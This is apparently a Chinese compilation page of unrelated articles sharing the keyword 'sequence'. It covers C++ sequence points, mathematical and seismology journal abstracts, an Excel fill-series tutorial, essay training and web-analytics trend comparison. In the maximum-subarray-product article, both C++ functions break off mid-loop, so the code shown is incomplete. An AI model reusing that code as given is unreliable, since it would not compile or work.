针对同一事物，不同身份地位，经历个性的人在传达自己的情意时，语言各具千秋，各显个性。如《水浒传》中写众人拥护宋江做寨主时各自的语言就极富个性。卢俊义：“兄长枉自多语，卢某宁死，实难从命。”吴用：“兄长为尊，卢员外为次，人皆所伏。兄长右是再三推让，恐冷了众人的心。”李逵：“我在江州舍身拼命，跟将你来，众人都饶你一步。我自天也不怕！你只会让来让去，做甚鸟！我便样将起来，各自散伙！”武松：“哥哥手下许多军官，受朝庭诰命的，也只是让哥哥，如何肯从别人？”鲁智深：“若还兄长推让别人，酒家们各自撒开！”这些人，有的委婉含蓄，有的显露火暴，即使鲁莽也各不相同。

4、用叙述的方法写语言

这种间接手法笔墨经济，省却烦琐对话，用精炼语言突出人物特征。如鲁迅《祝福》中：“一见面是寒暄，寒暄之后说我‘胖了’，说我‘胖了’之后即大骂其新党。”朱自清《背影》：“他嘱我路上小心，夜里要警醒些，不要受凉。又嘱托茶房好好照应我。”也变对话为直接叙述。

篇18：浅析C++中的序列点

int i = 3；

i = i++；

cout << i；

结果是什么？有人可能会说是3，也有人可能会说是4，更多的人在骂出题的人白痴，但这语句究竟有何问题呢？未必每个人都清楚，

有些人也许马上会说，这是“未定义行为”。没错，这是一个典型的未定义行为。i = i++这个表达式合乎C++语法，能够顺利编译通过，但是执行的结果，标准说“未定义”。为什么是“未定义”，深究起来，要从序列点说起。

序列点是程序中这样的一些点：通俗地说，执行至此，之前的语句都已经彻底执行干净执行完了，之后的语句还完全没开始执行；更常见、更严谨但略晦涩的 说法是，之前的语句对现场环境的改变已经全部完成，之后的语句对现场环境的改变还没有开始。啥是现场环境呢？就是程序执行到某一点的那个状态，包括变量的 内容、文件的内容等。

这跟最开始那个例子有什么关系呢？关键的问题来了：标准规定，两个序列点之间，程序执行的顺序可以是任意的。没错，正如你猜的那样，C++标准规定 一个完整的表达式结束之后有一个序列点，而例子中i = i++是位于两个序列点之间的。编译器可以先算完i++，再写结果给i，也可以先将i = i，再令i++.按前面的方法算，i先自增变为4，然后i++返回3，于是i被赋值为3；按后一种方法算，i先被赋值为3，随后自增变成4.标准说了，这 两种处理方法，编译器你爱选那种就选哪种，随便。如果谁写的程序像这样依赖执行的顺序，让他自己哭去！

等等，有人要问了，++的优先级难倒不是高于=吗？显然应该先执行++啊。这里有个概念的问题，前一段说的编译器先算i = i，绝不是说令=的优先级比++还高了。如果那样的话，表达式将变成 （i = i）++，也就是i.operator = （i）。 operator ++，执行++的主体变成i = i这个表达式的返回值了。上一段所说的先计算i = i，实际上还是先计算i++，只不过是先返回了i的值，然后推迟了将i自增1的操作先去干别的（i = i）去了，回头再来给i自增1.

——“什么，你说先干别的就先干别的，凭什么！”

嗯，我再重复一遍，标准规定，两个序列点之间，程序执行的顺序可以是任意的，

——“不是吃饱了撑的嘛，标准搞这个干啥？严格按照顺序执行不就完了嘛”。

C++标准弄这么复杂自然是有道理的。C++是极为重视执行效率的语言，这样做给了编译器优化的空间。比如考虑

int j = i++；

如果非得把i++执行干净了再干别的，那就不得不 temp = i； i += 1； j = i； .如果允许编译器打乱顺序执行呢，直接 j = i； i +=1； 就好了，省了一个temp倒一次的过程。

多说一句，一些更高层的语言，不是像C++这种极为重视效率的，比如Java，上面的例子就完全没有问题。Java完全不允许你编译器 ，上面那 个例子，在Java中一定是先把i++彻底执行干净了返回3，再进行赋值，赋值完之后不会再有别的操作了，所以结果一定是3.

如何避免由序列点造成的这种未定义行为，有一句经典但有点晦涩的编程规则：“在相邻的两个序列点之间，一个对象只允许被修改一次，而且如果一个对象 被修改则在这两个序列点之间只能为了确定该对象的新值而读一次”。其实明白了序列点具体是怎么回事，这个规则应该就很容易明白了。由于序列点之间程序执行 顺序不确定，一个对象被修改多次的话最后留下的是哪次的结果就不确定。另外如果一个对象同时存在读取和修改，只有根据读取的结果来修改才是合法的，否则就 会出现是先改完再读还是先读完再改的混乱。

最后再说一下最新的C++标准中定义的序列点（详细说明请参考标准）：

·完整声明之后

·完整表达式之后

·进入函数时与退出函数时

·|| && ？： ， 四个操作符的第一个操作数之后

最后一个似乎有点奇怪，为啥 + - 操作符之前就没有序列点，|| &&之前就有呢？a+b之间没有序列点而a||b之间就有，不公平啊。

嗯，你猜的没错，是为了短路。

不过要是手建重载了默认的||和&&，他们可就视同普通函数，不会在第一个操作数之后有序列点了，切记。

篇19：随机变量序列部分和的几乎必然收敛性

随机变量序列部分和的几乎必然收敛性

设{Xn,n＞1}是任意的随机变量序列.胡舒合等在二阶矩限制下,获得了任意随机变量序列的Hajek-Renyi型不等式,并给出了随机变量序列部分和收敛的'强大数定律.本文利用胡舒合等获得的强大数定律,给出了随机变量序列部分和的一些几乎必然收敛性,并给出了结果在PA、NA和两两NQD序列场合下的应用.

作 者：王学军 胡舒合 WANG Xue-jun HU Shu-he  作者单位：安徽大学,数学与计算科学学院,安徽,合肥,230039 刊 名：安徽师范大学学报（自然科学版）  ISTIC PKU英文刊名：JOURNAL OF ANHUI NORMAL UNIVERSITY（NATURAL SCIENCE） 年，卷(期)： 30(5) 分类号：O211 关键词：几乎必然收敛   PA序列   NA序列   两两NQD序列  

篇20：参数序列比对算法研究

参数序列比对算法研究

序列比对是生物信息学中的一项重要任务,通过序列比对可以发现生物序列中的功能、结构和进化的信息.序列比对结果的生物学意义与所选择的.匹配、不匹配、插入和删除以及空隙的罚分函数密切相关.现介绍一种参数序列比对方法,该方法把最佳比对作为权值和罚分的函数,可以系统地得到参数的选择对最佳比对结果的影响.然后将其应用于RNA序列比对,分析不同的参数选择对序列比对结果的影响.最后指出参数序列比对算法的应用以及未来的发展方向.

作 者：张涛涛 郭茂祖 邹权 ZHANG Tao-tao GUO Mao-zu ZOU Quan  作者单位：哈尔滨工业大学计算机科学与技术学院,哈尔滨,150001 刊 名：生物信息学  ISTIC英文刊名：CHINA JOURNAL OF BIOINFORMATICS 年，卷(期)： 6(2) 分类号：Q1 关键词：参数序列比对   多边形分解   牛顿射线搜索算法   参数空间  

篇21：Cesaro-Orlicz 序列空间的对偶空间

Cesaro-Orlicz 序列空间的对偶空间

本文主要研究了Cesaro-Orlicz序列空间的'对偶空间.证明了Cesaro-Orlicz序列空间的对偶空间Cesφ实际上就是Orlicz序列空间Lψ.

作 者：张剑宇 麻振华 崔云安 ZHANG Jian-yu MA Zhen-hua GUI Yun-an  作者单位：张剑宇,崔云安,ZHANG Jian-yu,GUI Yun-an(哈尔滨理工大学,应用科学学院,黑龙江,哈尔滨,150080)

麻振华,MA Zhen-hua(河北建筑工程学院,数理系,河北,张家口,075000)

刊 名：哈尔滨理工大学学报  ISTIC PKU英文刊名：JOURNAL OF HARBIN UNIVERSITY OF SCIENCE AND TECHNOLOGY 年，卷(期)： 12(6) 分类号：O141.2 关键词：Cesaro-Orlicz序列空间   Orlicz范数   Luxemburg范数   对偶空间.  

篇22：最大连续子序列乘积

求最大连续子序列乘积与最大连续子序列和问题有所不同，因为其中有正有负还有可能有0。

假设数组为a[]，直接利用动归来求解，考虑到可能存在负数的情况，我们用Max[i]来表示以a[i]结尾的最大连续子序列的乘积值，用Min[i]表示以a[i]结尾的最小的连续子序列的乘积值，那么状态转移方程为：

Max[i]=max{a[i], Max[i-1]*a[i], Min[i-1]*a[i]}; Min[i]=min{a[i], Max[i-1]*a[i], Min[i-1]*a[i]};初始状态为Max[0]=Min[0]=a[0]。代码如下：

int max_multiple(int *a,int n){ int *Min = new int[n]; int *Max = new int[n](); Min[0]= Max[0] = a[0]; int max = Max[0]; for(int i=1; i

如果不用数组，也可以采用临时变量保存上一次的最大值和最小值，代码如下：

int max_multiple_2(int *a,int n){ int minsofar, maxsofar, max; max = minsofar = maxsofar = a[0]; for(int i=1;i

补一个求三个数最大值的函数max3代码：

int max3(int a, int b, int c) {if (a>=b && a>=c) return a;return max3(b, c, a); }

篇23：姚安地震余震序列研究

姚安地震余震序列研究

将姚安Ms6.5地震的19个3.0≤ML＜5.0余震的垂直分量在频率域内进行地震矩张量反演,对反演结果进行了讨论,并用最小二乘法回归了地震矩M0、矩震级Mw和地方震震级ML之间的'关系;根据对余震序列主压应力轴随时间的变化特点,分析了震区复杂的应力状态.

作 者：毛燕 MAO Yan  作者单位：昆明理工大学,建筑工程学院,昆明,650051;云南省地震局,昆明,650224 刊 名：地震研究  ISTIC PKU英文刊名：JOURNAL OF SEISMOLOGICAL RESEARCH 年，卷(期)： 30(2) 分类号：P315.3 关键词：震源参数   余震序列   姚安地震  

篇24：矿山地震序列特征分析

矿山地震序列特征分析

以抚顺老虎台矿矿山地震监测、开采、气象、地质等资料为基础,分析了老虎台矿矿山地震活动的时间、频度等序列特征.对矿山地震频度震级分布进行线性回归,得到了中的.参数和的时序特征.并总结出了老虎台矿矿山地震活动的一些基本规律.

作 者：李治平蔡美峰 李铁 贾玉田  作者单位：李治平,蔡美峰(北京科技大学土木与环境工程学院,北京,100083)

李铁(抚顺市地震局,抚顺,113003)

贾玉田(抚顺老虎台矿，抚顺，113003)

刊 名：北京科技大学学报  ISTIC EI PKU英文刊名：JOURNAL OF UNIVERSITY OF SCIENCE AND TECHNOLOGY BEIJING 年，卷(期)： 23(6) 分类号：P315.5 关键词：矿山地震   序列特征   活动规律  

篇25：Excel批量填充序列动画教程

《Excel入门动画教程14、Excel批量填充序列》，

演示动画

操作步骤

大家知道，Excel内置了大量的序列(星期、日期、序数等)，我们可以通过下面两种方法来方便快捷地输入这些内置序列：

选中A3、A4两个单元格，分别输入“序数”的前面两个数值(如1、2)，然后同时选中这两个单元格，再将鼠标移到A4单元格右下角成“细十字线”状时，按住鼠标左键向下拖拉至最后一个单元格，松开鼠标，即可快速输入相应序数，

注意：这种“细十字线”状态，我们通常称之为“填充柄”状态。

选中保存序列的第1个单元格(如B3)，输入序列中某个元素(如“甲”等)，然后用“填充柄”拖拉，即可地拖拉过的单元格区域中输入该序列。

篇26：议论文写作序列训练探微

议论文写作序列训练探微

（浙江省萧山中学 陈福芝）

议论文写作在整个中学语文教学中，既是个重点，又是个难点。建立一个既符合教学规律而又切实可行的 训练序列，能够快速有效地提高学生的议论文写作能力。笔者根据几年来的实践，初步探索到一个“由局部到 整体”、“由浅显到深奥”的训练序列，实践的效果较好。下面略作论述，以求教于各位同行。

一、讲究序列，提高效率。

学生对作文规律的认识和技能的掌握，遵循着由局部到全局，由低级到高级，由感性到理性的循环往复的 认识规律。根据这个认识规律以及“循序渐进”的教育原则，中学议论文写作也完全可以遵循“由局部到整体 ”“由浅显到深奥”的序列进行训练。

（一）“由局部到整体”是内容范围逐步扩大的训练序列。

所谓“局部训练”，从内容来看，是单项训练；从篇章来看，是片断作文。如多角度立论、论点的`表述、 论据的选择等环节的训练。而所谓“整体训练”，则是一种综合性的写作训练，是在局部训练的基础上，对议 论文写作从题目的拟定、论点的确立、论据的选择、论证方法的运用，以及合理安排篇章结构的全方位的作文 训练。

1.局部训练

局部训练的目的是为了使学生突破议论文写作中的单个环节。在训练中，要注意诱导学生，使他们通过这 一训练能做到举一反三

[1] [2] [3] [4]

篇27：时间序列的趋势分析

网站运营

无论是网站分析工具、BI报表或者数据的报告，我们很难看到数据以孤立的点单独地出现，通常数据是以序列、分组等形式存在，理由其实很简单，我们没法从单一的数据中发现什么，用于分析的数据必须包含上下文(Context)，数据的上下文就像为每个指标设定了一个或者一些参考系，通过这些参照和比较的过程来分析数据的优劣，就像中学物理上的例子，如果我们不以地面作为参照物，我们无法区分火车是静止的还是行进的，朝北开还是朝南开。

在实际看数据中，我们可能已经在不经意间使用数据的上下文了，趋势分析、比例分析、细分与分布等都是我们在为数据设置合适的参照环境。所以这边通过一个

同比和环比的定义

定义这个东西在这里还是再唠叨几句，因为不了解定义就无法应用，熟悉的朋友可以跳过。

同比：为了消除数据周期性波动的影响，将本周期内的数据与之前周期中相同时间点的数据进行比较。早期的应用是销售业等受季节等影响较严重，为了消除趋势分析中季节性的影响，引入了同比的概念，所以较多地就是当年的季度数据或者月数据与上一年度同期的比较，计算同比增长率。

环比：反应的是数据连续变化的趋势，将本期的数据与上一周期的数据进行对比。最常见的是这个月的数据与上个月数据的比较，计算环比增长率，因为数据都是与之前最近一个周期的数据比较，所以是用于观察数据持续变化的情况。

买二送一，再赠送一个概念——定基比(其实是百度百科里附带的)：将所有的数据都与某个基准线的数据进行对比。通常这个基准线是公司或者产品发展的一个里程碑或者重要数据点，将之后的数据与这个基准线进行比较，从而反映公司在跨越这个重要的是基点后的发展状况。

同比和环比的应用环境

其实同比、环比没有严格的适用范围或者针对性的应用，一切需要分析在时间序列上的变化情况的数据或者指标都可以使用同比和环比。

但是我的建议是为网站的目标指标建立同比和环比的数据上下文，如网站的收益、网站的活跃用户数、网站的关键动作数等，这类指标需要明确长期的增长趋势，同比和环比能够为网站整体运营的发展状况提供有力的参考。

还有个建议就是不要被同比和环比最原始或者最普遍的应用所束缚住：同比就是今年每个月或每季度的数据与去年同期比，环比就是这个月的数据与上个月比，

对于方法的应用需要根据实际的应用的环境，进行合理的变通，选择最合适的途径。所以同比和环比不一定以年为周期，也不一定是每月、季度为时间粒度的统计数据，我们可以根据需要选择任意合适的周期，比如你们公司的产品运营是以周、半月、甚至每年的特定几个月为周期循环变动，那完全可以将这些作为同比的周期。

特别对于互联网这个瞬息万变的环境，常用的年与年之间的同比，以季度或月为粒度的统计可能不再合适，为了适应快速的变化，以月为周期、周为周期的同比，以天为粒度、小时为粒度的统计数据进行环比将变成常见的方式，因为要适应这种快速的变化，我们需要做出更迅速的决策和调整，当然数据要适应这种快速决策的需要。

应用实例

同比和环比被广泛地应用于各个领域，在Google的图片中搜索同比和环比会有丰富的包含了同比环比的图表显示在你的眼前，所以这里只举个简单的例子：因为很多的互联网产品的数据变化情况会以“周”为周期进行波动(周末会出现明显的上升或者下降趋势)，所以这里以一周的数据为例来看下同比和环比的展现效果。还是虚拟数据，为了展示上的需要而临时设定的：

从图中可以看出数据在一周中的变化趋势，周中和周末之间存在明显的差异，周末的收益会有明显的上涨，在使用同比的时候需要抓到这类数据的周期性的变化规律，让数据的对比能够更加有效地反映数据的变化。同时在Excel里面可以直接为一组基于时间序列的数据绘制趋势线，正如图中的虚线所示，本周收益在一周中的变化趋势就显得非常明显，这里用的是指数的拟合，Excel的趋势线提供了线性、指数、对数、幂等回归分析的方式，同时也包含多项式和移动平均等趋势分析的方法。

最后看看我们经常在使用的网站分析工具里面有没有同比和环比的功能呢?这里以Google Analytics和百度统计为例截了两张图，首先看下百度统计登录进去后的网站概况：

百度统计默认就为我们提供了一个比较环境，上方表格中是今天与昨天的数据对比及变化情况，还提供了预测的功能;下方的折线图显示的是每小时数据的变化，提供前一天或者上周的同一天(百度可能已经意识到网站大部分会存在以周为变化周期的趋势，所以很多地方都提供了以周为单位的参考数据)的每个整点的数据对照，同时可以选择不同的时间区间和各类指标。再看看Google Analytics的Dashboard：

Google不像百度那样一进去就能看到对照数据，需要我们手工去选择，在时间区间的选择界面提供了“Compare to Past”的勾选按钮，如果默认是近一个月的数据，那么参照数据就是再往前推一个月的每日变化数据，Timeline的选择面板做得非常炫，可以自定义地选择任何有效的时间区间，当然也同样提供不同的参考指标，鼠标移到图中相应日期的点后会显示具体的数据及差异的大小。

同比和环比是最简单直观的基于时间序列的趋势分析方法，通过观察关键指标的变化情况来洞察网站的发展和运营情况，同时衡量目标的实现程度。所以这篇文章的主题是使用趋势分析的方法来为网站的目标设定数据的上下文，下一篇将主要针对KPI指标进行数据上下文的选择和设定。

作者：joegh ，请注明

篇28：算子Fredholm序列的性质

算子Fredholm序列的性质

讨论算子Fredholm序列的性质,并且得到一致收敛的有界线性算子序列为算子(上半,下半)Fredholm序列的'等价条件,这也是单个(半)Fredholm算子情形的推广.

作 者：刘伟彦 李绍宽 王勤 LIU Wei-yan LI Shao-kuan WANG Qin  作者单位：东华大学,理学院,上海,201620 刊 名：东华大学学报（自然科学版）  ISTIC PKU英文刊名：JOURNAL OF DONGHUA UNIVERSITY(NATURAL SCIENCE) 年，卷(期)：2007 33(5) 分类号：O177.2 关键词：算子紧序列   算子上半Fredholm序列   算子下半Fredholm序列   算子Fredholm序列  

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